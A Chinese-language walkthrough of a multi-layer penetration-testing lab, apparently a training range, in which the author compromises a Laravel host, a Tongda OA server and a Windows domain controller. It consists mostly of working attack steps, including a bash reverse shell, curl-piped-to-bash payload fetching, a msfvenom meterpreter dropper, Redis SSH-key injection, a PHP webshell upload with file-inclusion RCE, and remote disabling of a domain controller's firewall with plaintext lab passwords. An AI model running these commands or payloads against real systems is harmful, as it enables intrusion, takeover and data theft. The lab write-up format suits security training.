环境搭建
配置虚拟机网卡
在Vmware中新增两个虚拟网卡VMnet8、VMnet14。VMnet8设为默认的NAT模式,IP段设为192.168.52.0/24;VMnet14设为仅主机模式,IP段设为192.168.93.0/24
环境信息
DMZ区的 Ubuntu 需要启动redis和nginx服务:
sudo redis-server /etc/redis.conf
sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
sudo iptables -F
第二层网络的 Ubuntu需要启动docker容器:
sudo service docker start
sudo docker start 8e172820ac78
第三层网络的 Windows 7 (PC 1)需要启动通达OA:
C:\MYOA\bin\AutoConfig.exe
域用户信息
域用户账户和密码如下:
Administrator:Whoami2021
whoami:Whoami2021
bunny:Bunny2021
moretz:Moretz2021
Ubuntu 1:
web:web2021
Ubuntu 2:
ubuntu:ubuntu
通达OA账户:
admin:admin657260
外网打点
信息搜集
现在对http://192.168.3.123/地址进行黑盒测试 首先使用nmap对地址进行扫描
nmap -T4 -sC -sV 192.168.3.123 -p 1-65535
查看81端口
利用exp getshell
https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP
cat /proc/1/cgroup
发现是docker环境
反弹shell
先把shell反弹到我们的kali当中(因为是ubuntu所以不能直接反弹shell) kali上写个shell.sh
bash -i >& /dev/tcp/192.168.31.96/6666 0>&1
再开个web服务
python -m http.server 80
kali监听一个端口
nc -lvvp 6666
看一下靶机能不能访问192.168.3.139:80 在shell管理系统
curl 192.168.3.139/shell.sh
然后执行一下
curl 192.168.3.139:80/shell.sh|bash
成功把shell反弹到了kali上面
提权(失败)
查看linux版本
uname -a
提权exp
https://github.com/Al1ex/LinuxEelvation
没成功
提权(成功)
find / -perm -u=s -type f 2>/dev/null
利用/home/jobs/shell 提权,发现shell文件执行了ps,我们利用ps提权,写ps恶意命令
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
cd /home/jobs
./shell
已经是root权限
msf上线
生成msf木马
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.3.139 LPORT=6667 -f elf > shell.elf
监听(msf端执行)
use exploit/multi/handler
set lhost 192.168.3.139
set lport 6667
set payload linux/x86/meterpreter/reverse_tcp
run
将木马传到靶机
wget http://192.168.3.139/shell.elf
chmod 777 shell.elf
./shell.elf
docker逃逸(失败,139主机只拿下了一半)
一直逃逸不出来,看看其他方式
redis未授权访问
信息搜集可得,服务器还有个redis端口,曲线救国
https://github.com/qishibo/AnotherRedisDesktopManager/releases/tag/v1.5.1
wget http://download.redis.io/redis-stable.tar.gz
tar -zxvf redis-stable.tar.gz
cd redis-stable
make //全局生效
cp src/redis-cli /usr/bin/
redis-cli -h 192.168.3.123
redis未授权确定了
kali生成ssh公钥
ssh-keygen -t rsa
将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的redis缓冲里:
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 192.168.31.132 -x set xxx
进入redis命令行将公钥写入(这里redis要是不用root启,就不行)
config set dir /root/.ssh
config set dbfilename authorized_keys
save
第二层网络渗透
成功拿下“192.168.3.123”,进一步进行信息搜集
到这里我们可以发现我们拿下了第一台机器是ubuntu18 有两个网卡,发现了第一个内网网段是192.168.52.10
msf上线ubuntu18(192.168.3.123)
参考前面,懒得写了 工具使用一定要熟练啊,上线我就上了半天,设置监听端口之前一定看看占用了没,气死我了!!!!!!
msf扫描192.168.52.10/24
传一个fscan上去
upload /home/yezi/hongri1/fscan_amd64
然后扫描 扫到一台192.168.52.30 通达OA 使用frp在192.168.52.10做一个代理,来渗透192.168.52.30
frp教程
https://www.cnblogs.com/hanlongyi/p/15250440.html
第二次网络横向移动
渗透192.168.52.30(通达OA)
全局代理抓不到包,在bp上挂一个代理
判断通达OA版本
TongDaOA.domain/inc/expired.php 判断通达版本
参考:https://github.com/OA-HUNTER/TongDa-OA
可以看到版本为11.3
任意用户登录漏洞+RCE漏洞
登陆处抓包
2)修改再发包
需修改以下三个地方:
/logincheck.php /logincheck_code.php
删除cookie在post包中添加UID=1
用获取的PHPSESSID访问/general/
访问上传接口抓包
/ispirit/im/upload.php
修改包的内容
POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.52.30:8080
Content-Length: 658
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Cookie: PHPSESSID=123
Connection: close
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--
图片马的路径
2204/1828100034.jpg
文件包含rce
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.52.30:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 90
Content-Type: application/x-www-form-urlencoded
json={"url":"/general/../../attach/im/2204/1828100034.jpg"}&cmd=whoami
参考资料
https://blog.csdn.net/szgyunyun/article/details/107104288
cs上线192.168.52.30
进程迁移
第三层网络渗透(内网)
信息搜集192.168.52.30
ipconfig /all
route print
net view
arp -a
net start
net share
net share ipc$
net share c$
net use \\192.168.xx.xx\ipc$ "" /user:""
net use \\192.168.xx.xx\c$ "密码" /user:"用户名"
dir \\192.168.xx.xx\c$\user
net config Workstation
net user
net user /domain
net localgroup administrators
net view /domain
net user 用户名 /domain
net group /domain
net group 组名 /domain
net time /domain // 主域服务器会同时作为时间服务器
net group "domain admins" /domain
net group "domain computers" /domain
net group "doamin controllers" /domain
net group "Enterprise Admins" /domain // 查看域管理员组
信息搜集后得到
有一个域:whoamianony.org
域控是:DC.whoamianony.org
域控的ip:192.168.93.30
93这个网段有三台机器 193.168.92.20(通达OA本机) 193.168.92.30 193.168.92.40
抓一下凭证信息
横向移动
关闭防火墙
psexec失败了,半天没反应,我估计是防火墙的原因
IPC$常用命令
net use 查看当前连接的IPC$
net use * /del 删除IPC$连接
net use \192.168.1.1\ipc$ 密码 /user:域\账号
连接域内IP地址为192.168.1.1的主机
dir \192.168.1.1\c$ 列出连接的192.168.1.1的C盘文件
copy c:/12.txt \192.168.1.1\c$\2.txt
复制本地c盘的12.txt文件到192.168.1.1的c盘并保存为2.txt
那我们利用net use 把域控的防火墙关了
net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.30 start unablefirewall
psexe横向移动
因为抓到了域控的账号密码,cs横向基本操作这里不谈了 好了,至此机器全部都上线了
|